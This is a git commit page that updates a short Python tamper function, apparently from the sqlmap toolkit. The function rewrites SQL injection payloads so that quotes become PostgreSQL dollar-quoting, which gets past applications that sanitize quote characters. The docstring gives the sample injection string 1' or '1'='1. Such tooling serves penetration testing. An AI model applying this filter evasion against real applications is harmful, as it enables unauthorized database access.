Update quote2dollars.py

This commit is contained in:
Mehmet Leblebici 2019-10-07 15:10:48 +03:00 committed by GitHub
parent 13af806e1d
commit fccf2274eb
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -14,12 +14,15 @@ def dependencies():
def tamper(payload, **kwargs):
"""
Tested on PostgreSQL 12.0
Replaces single quote with dollar signs (e.g. ' -> $$)
Replace single and double quotes with dollar signs (e.g. ' -> $$)
Tested against:
* PostgreSQL 12.0
Notes: useful for applications that use PostgreSQL database and encodes or sanitizes quote characters
>>> tamper("1' or '1'='1")
"1$$ or $$1$$=$$1"
"""
return payload.replace("'", "$$'").replace('"', '$$')
return payload.replace("'", "$$")